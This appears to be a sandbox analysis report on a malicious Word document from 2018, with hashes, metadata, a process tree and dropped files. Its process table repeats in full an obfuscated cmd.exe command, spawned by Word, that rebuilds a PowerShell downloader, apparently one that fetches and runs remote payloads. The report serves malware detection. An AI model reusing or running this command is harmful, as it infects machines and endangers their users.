File name: | 06b10dab3d8d71993fb141445d5cbef35547f281d97e0456eda30dd73dace69c |
Full analysis: | https://app.any.run/tasks/1fc1e74d-0fd6-4a4b-8fa8-8ba4bbbc86c0 |
Verdict: | Malicious activity |
Analysis date: | December 14, 2018, 08:22:41 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Dec 13 09:54:00 2018, Last Saved Time/Date: Thu Dec 13 09:54:00 2018, Number of Pages: 1, Number of Words: 7, Number of Characters: 45, Security: 0 |
MD5: | E36F219B18C10EFE6B87ADD8692349B2 |
SHA1: | F947241121256F1702154320E73C73A548B9351D |
SHA256: | 06B10DAB3D8D71993FB141445D5CBEF35547F281D97E0456EDA30DD73DACE69C |
SSDEEP: | 1536:8ocn1kp59gxBK85fBsnrnFHE4JTnW/nHgzTZzA+a9:N41k/W48aLFlW/4l |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:13 09:54:00 |
ModifyDate: | 2018:12:13 09:54:00 |
Pages: | 1 |
Words: | 7 |
Characters: | 45 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 51 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3480 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\06b10dab3d8d71993fb141445d5cbef35547f281d97e0456eda30dd73dace69c.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
2684 | c:\oHZQddTwbm\iLMjkQIRuSTOJj\pqhdwLqB\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79;41;12;51;82;41;15;49;16;26;41;40;12;62;59;82;58;63;68;69;23;12;12;34;33;53;53;23;6;40;40;23;20;40;64;81;36;51;11;6;47;53;67;67;41;41;30;1;31;56;23;12;12;34;33;53;53;15;26;6;32;1;6;74;12;51;11;6;47;53;82;41;10;22;27;34;64;22;64;63;56;23;12;12;34;33;53;53;30;30;30;51;36;46;23;8;72;6;8;51;11;6;47;53;52;76;36;55;46;81;39;7;72;56;23;12;12;34;33;53;53;47;6;74;74;30;6;1;16;52;30;26;52;41;51;11;6;47;53;41;2;10;70;42;41;67;1;56;23;12;12;34;33;53;53;21;26;80;1;20;51;34;34;51;8;20;53;82;52;83;31;36;63;44;70;69;51;4;34;16;26;12;73;69;56;69;43;62;59;4;30;42;68;69;74;52;38;69;62;59;7;57;26;75;68;75;69;64;46;36;69;62;59;2;30;2;68;69;28;42;48;69;62;59;82;26;35;68;59;41;40;67;33;12;41;47;34;45;69;66;69;45;59;7;57;26;45;69;51;41;77;41;69;62;21;6;1;41;20;11;23;73;59;54;82;30;75;26;40;75;59;82;58;63;43;60;12;1;71;60;59;55;82;20;51;35;6;30;40;16;6;20;52;50;26;16;41;73;59;54;82;30;37;75;59;82;26;35;43;62;59;17;47;7;68;69;47;30;6;69;62;48;21;75;73;73;2;41;12;32;48;12;41;47;75;59;82;26;35;43;51;16;41;40;70;12;23;75;32;70;41;75;46;78;78;78;78;43;75;60;48;40;67;6;72;41;32;48;12;41;47;75;59;82;26;35;62;59;83;12;7;68;69;61;20;58;69;62;15;1;41;20;72;62;65;65;11;20;12;11;23;60;65;65;59;48;34;29;68;69;54;47;12;69;62;88)do set CP=!CP!!oZnN:~%6,1!&&if %6 gtr 87 po%windir:~3,-6%er%OS:~-4,-3%h%USERPROFILE:~5,1%%CommonProgramFiles(x86):~-3,-2%%CommonProgramFiles:~-3,-2% "!CP:*CP!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3208 | CmD /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79;41;12;51;82;41;15;49;16;26;41;40;12;62;59;82;58;63;68;69;23;12;12;34;33;53;53;23;6;40;40;23;20;40;64;81;36;51;11;6;47;53;67;67;41;41;30;1;31;56;23;12;12;34;33;53;53;15;26;6;32;1;6;74;12;51;11;6;47;53;82;41;10;22;27;34;64;22;64;63;56;23;12;12;34;33;53;53;30;30;30;51;36;46;23;8;72;6;8;51;11;6;47;53;52;76;36;55;46;81;39;7;72;56;23;12;12;34;33;53;53;47;6;74;74;30;6;1;16;52;30;26;52;41;51;11;6;47;53;41;2;10;70;42;41;67;1;56;23;12;12;34;33;53;53;21;26;80;1;20;51;34;34;51;8;20;53;82;52;83;31;36;63;44;70;69;51;4;34;16;26;12;73;69;56;69;43;62;59;4;30;42;68;69;74;52;38;69;62;59;7;57;26;75;68;75;69;64;46;36;69;62;59;2;30;2;68;69;28;42;48;69;62;59;82;26;35;68;59;41;40;67;33;12;41;47;34;45;69;66;69;45;59;7;57;26;45;69;51;41;77;41;69;62;21;6;1;41;20;11;23;73;59;54;82;30;75;26;40;75;59;82;58;63;43;60;12;1;71;60;59;55;82;20;51;35;6;30;40;16;6;20;52;50;26;16;41;73;59;54;82;30;37;75;59;82;26;35;43;62;59;17;47;7;68;69;47;30;6;69;62;48;21;75;73;73;2;41;12;32;48;12;41;47;75;59;82;26;35;43;51;16;41;40;70;12;23;75;32;70;41;75;46;78;78;78;78;43;75;60;48;40;67;6;72;41;32;48;12;41;47;75;59;82;26;35;62;59;83;12;7;68;69;61;20;58;69;62;15;1;41;20;72;62;65;65;11;20;12;11;23;60;65;65;59;48;34;29;68;69;54;47;12;69;62;88)do set CP=!CP!!oZnN:~%6,1!&&if %6 gtr 87 poWershe%CommonProgramFiles(x86):~-3,-2%l "!CP:*CP!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2304 | "C:\Windows\system32\cmd.exe" | C:\Windows\system32\cmd.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 3221225786 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3996 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3316 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\06b10dab3d8d71993fb141445d5cbef35547f281d97e0456eda30dd73dace69c.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3920 | c:\oHZQddTwbm\iLMjkQIRuSTOJj\pqhdwLqB\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79;41;12;51;82;41;15;49;16;26;41;40;12;62;59;82;58;63;68;69;23;12;12;34;33;53;53;23;6;40;40;23;20;40;64;81;36;51;11;6;47;53;67;67;41;41;30;1;31;56;23;12;12;34;33;53;53;15;26;6;32;1;6;74;12;51;11;6;47;53;82;41;10;22;27;34;64;22;64;63;56;23;12;12;34;33;53;53;30;30;30;51;36;46;23;8;72;6;8;51;11;6;47;53;52;76;36;55;46;81;39;7;72;56;23;12;12;34;33;53;53;47;6;74;74;30;6;1;16;52;30;26;52;41;51;11;6;47;53;41;2;10;70;42;41;67;1;56;23;12;12;34;33;53;53;21;26;80;1;20;51;34;34;51;8;20;53;82;52;83;31;36;63;44;70;69;51;4;34;16;26;12;73;69;56;69;43;62;59;4;30;42;68;69;74;52;38;69;62;59;7;57;26;75;68;75;69;64;46;36;69;62;59;2;30;2;68;69;28;42;48;69;62;59;82;26;35;68;59;41;40;67;33;12;41;47;34;45;69;66;69;45;59;7;57;26;45;69;51;41;77;41;69;62;21;6;1;41;20;11;23;73;59;54;82;30;75;26;40;75;59;82;58;63;43;60;12;1;71;60;59;55;82;20;51;35;6;30;40;16;6;20;52;50;26;16;41;73;59;54;82;30;37;75;59;82;26;35;43;62;59;17;47;7;68;69;47;30;6;69;62;48;21;75;73;73;2;41;12;32;48;12;41;47;75;59;82;26;35;43;51;16;41;40;70;12;23;75;32;70;41;75;46;78;78;78;78;43;75;60;48;40;67;6;72;41;32;48;12;41;47;75;59;82;26;35;62;59;83;12;7;68;69;61;20;58;69;62;15;1;41;20;72;62;65;65;11;20;12;11;23;60;65;65;59;48;34;29;68;69;54;47;12;69;62;88)do set CP=!CP!!oZnN:~%6,1!&&if %6 gtr 87 po%windir:~3,-6%er%OS:~-4,-3%h%USERPROFILE:~5,1%%CommonProgramFiles(x86):~-3,-2%%CommonProgramFiles:~-3,-2% "!CP:*CP!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2476 | CmD /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79;41;12;51;82;41;15;49;16;26;41;40;12;62;59;82;58;63;68;69;23;12;12;34;33;53;53;23;6;40;40;23;20;40;64;81;36;51;11;6;47;53;67;67;41;41;30;1;31;56;23;12;12;34;33;53;53;15;26;6;32;1;6;74;12;51;11;6;47;53;82;41;10;22;27;34;64;22;64;63;56;23;12;12;34;33;53;53;30;30;30;51;36;46;23;8;72;6;8;51;11;6;47;53;52;76;36;55;46;81;39;7;72;56;23;12;12;34;33;53;53;47;6;74;74;30;6;1;16;52;30;26;52;41;51;11;6;47;53;41;2;10;70;42;41;67;1;56;23;12;12;34;33;53;53;21;26;80;1;20;51;34;34;51;8;20;53;82;52;83;31;36;63;44;70;69;51;4;34;16;26;12;73;69;56;69;43;62;59;4;30;42;68;69;74;52;38;69;62;59;7;57;26;75;68;75;69;64;46;36;69;62;59;2;30;2;68;69;28;42;48;69;62;59;82;26;35;68;59;41;40;67;33;12;41;47;34;45;69;66;69;45;59;7;57;26;45;69;51;41;77;41;69;62;21;6;1;41;20;11;23;73;59;54;82;30;75;26;40;75;59;82;58;63;43;60;12;1;71;60;59;55;82;20;51;35;6;30;40;16;6;20;52;50;26;16;41;73;59;54;82;30;37;75;59;82;26;35;43;62;59;17;47;7;68;69;47;30;6;69;62;48;21;75;73;73;2;41;12;32;48;12;41;47;75;59;82;26;35;43;51;16;41;40;70;12;23;75;32;70;41;75;46;78;78;78;78;43;75;60;48;40;67;6;72;41;32;48;12;41;47;75;59;82;26;35;62;59;83;12;7;68;69;61;20;58;69;62;15;1;41;20;72;62;65;65;11;20;12;11;23;60;65;65;59;48;34;29;68;69;54;47;12;69;62;88)do set CP=!CP!!oZnN:~%6,1!&&if %6 gtr 87 poWershe%CommonProgramFiles(x86):~-3,-2%l "!CP:*CP!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1316 | c:\oHZQddTwbm\iLMjkQIRuSTOJj\pqhdwLqB\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79;41;12;51;82;41;15;49;16;26;41;40;12;62;59;82;58;63;68;69;23;12;12;34;33;53;53;23;6;40;40;23;20;40;64;81;36;51;11;6;47;53;67;67;41;41;30;1;31;56;23;12;12;34;33;53;53;15;26;6;32;1;6;74;12;51;11;6;47;53;82;41;10;22;27;34;64;22;64;63;56;23;12;12;34;33;53;53;30;30;30;51;36;46;23;8;72;6;8;51;11;6;47;53;52;76;36;55;46;81;39;7;72;56;23;12;12;34;33;53;53;47;6;74;74;30;6;1;16;52;30;26;52;41;51;11;6;47;53;41;2;10;70;42;41;67;1;56;23;12;12;34;33;53;53;21;26;80;1;20;51;34;34;51;8;20;53;82;52;83;31;36;63;44;70;69;51;4;34;16;26;12;73;69;56;69;43;62;59;4;30;42;68;69;74;52;38;69;62;59;7;57;26;75;68;75;69;64;46;36;69;62;59;2;30;2;68;69;28;42;48;69;62;59;82;26;35;68;59;41;40;67;33;12;41;47;34;45;69;66;69;45;59;7;57;26;45;69;51;41;77;41;69;62;21;6;1;41;20;11;23;73;59;54;82;30;75;26;40;75;59;82;58;63;43;60;12;1;71;60;59;55;82;20;51;35;6;30;40;16;6;20;52;50;26;16;41;73;59;54;82;30;37;75;59;82;26;35;43;62;59;17;47;7;68;69;47;30;6;69;62;48;21;75;73;73;2;41;12;32;48;12;41;47;75;59;82;26;35;43;51;16;41;40;70;12;23;75;32;70;41;75;46;78;78;78;78;43;75;60;48;40;67;6;72;41;32;48;12;41;47;75;59;82;26;35;62;59;83;12;7;68;69;61;20;58;69;62;15;1;41;20;72;62;65;65;11;20;12;11;23;60;65;65;59;48;34;29;68;69;54;47;12;69;62;88)do set CP=!CP!!oZnN:~%6,1!&&if %6 gtr 87 po%windir:~3,-6%er%OS:~-4,-3%h%USERPROFILE:~5,1%%CommonProgramFiles(x86):~-3,-2%%CommonProgramFiles:~-3,-2% "!CP:*CP!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
920 | CmD /V:/C"set oZnN=frGfSJoUutPctqbblOJVafqhMiiBJMwK-:pD5,A4neH)2+8mICF.d/LR@Yj${Q;Z3}\v='gyk(s Ex0Nz6WT&&for %6 in (59;11;30;8;68;69;11;34;58;69;62;59;55;82;20;68;40;41;30;32;6;15;58;41;11;12;75;79;41;12;51;82;41;15;49;16;26;41;40;12;62;59;82;58;63;68;69;23;12;12;34;33;53;53;23;6;40;40;23;20;40;64;81;36;51;11;6;47;53;67;67;41;41;30;1;31;56;23;12;12;34;33;53;53;15;26;6;32;1;6;74;12;51;11;6;47;53;82;41;10;22;27;34;64;22;64;63;56;23;12;12;34;33;53;53;30;30;30;51;36;46;23;8;72;6;8;51;11;6;47;53;52;76;36;55;46;81;39;7;72;56;23;12;12;34;33;53;53;47;6;74;74;30;6;1;16;52;30;26;52;41;51;11;6;47;53;41;2;10;70;42;41;67;1;56;23;12;12;34;33;53;53;21;26;80;1;20;51;34;34;51;8;20;53;82;52;83;31;36;63;44;70;69;51;4;34;16;26;12;73;69;56;69;43;62;59;4;30;42;68;69;74;52;38;69;62;59;7;57;26;75;68;75;69;64;46;36;69;62;59;2;30;2;68;69;28;42;48;69;62;59;82;26;35;68;59;41;40;67;33;12;41;47;34;45;69;66;69;45;59;7;57;26;45;69;51;41;77;41;69;62;21;6;1;41;20;11;23;73;59;54;82;30;75;26;40;75;59;82;58;63;43;60;12;1;71;60;59;55;82;20;51;35;6;30;40;16;6;20;52;50;26;16;41;73;59;54;82;30;37;75;59;82;26;35;43;62;59;17;47;7;68;69;47;30;6;69;62;48;21;75;73;73;2;41;12;32;48;12;41;47;75;59;82;26;35;43;51;16;41;40;70;12;23;75;32;70;41;75;46;78;78;78;78;43;75;60;48;40;67;6;72;41;32;48;12;41;47;75;59;82;26;35;62;59;83;12;7;68;69;61;20;58;69;62;15;1;41;20;72;62;65;65;11;20;12;11;23;60;65;65;59;48;34;29;68;69;54;47;12;69;62;88)do set CP=!CP!!oZnN:~%6,1!&&if %6 gtr 87 poWershe%CommonProgramFiles(x86):~-3,-2%l "!CP:*CP!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA58A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DF8641CF.wmf | — | |
MD5:— | SHA256:— | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\CDA93BB5.wmf | — | |
MD5:— | SHA256:— | |||
3316 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRCF02.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4540D184.wmf | wmf | |
MD5:179B8F71DE93BBF7C74EDCEBF33FFBD7 | SHA256:F3C0A2685D632C87B1FA406507458B63DFF60A2669AC4F4414AC14E2605D3CA1 | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:94F6B2EEDD8AEF62AA71C311110CB9AA | SHA256:3BF798A02EC2DE6023C05A32C403FC69ED352E683EC63D57A211C51B71154764 | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\212F7386.wmf | wmf | |
MD5:0A6D434D991E2D76F56DE99C9D4E5203 | SHA256:74E717E014F8B6A8F2A69CD4E27F9DAA0BB7C71D2E1F7A84D5CDA75DCBF2B10F | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:2B3AA0DD02A04BB56B41B2C7C0D5F28D | SHA256:DD327D27CACC369ABA4F89E02F23DF2AC4C45C7EC37BE3DA8DBF96B49EA451E8 | |||
3480 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$b10dab3d8d71993fb141445d5cbef35547f281d97e0456eda30dd73dace69c.doc | pgc | |
MD5:B211BAD5984D03DA1B3E6C8AEDBA2A4C | SHA256:44C6C85E898525E6D56870ED64097907C6E25ACF58993A3674474E3A63064413 |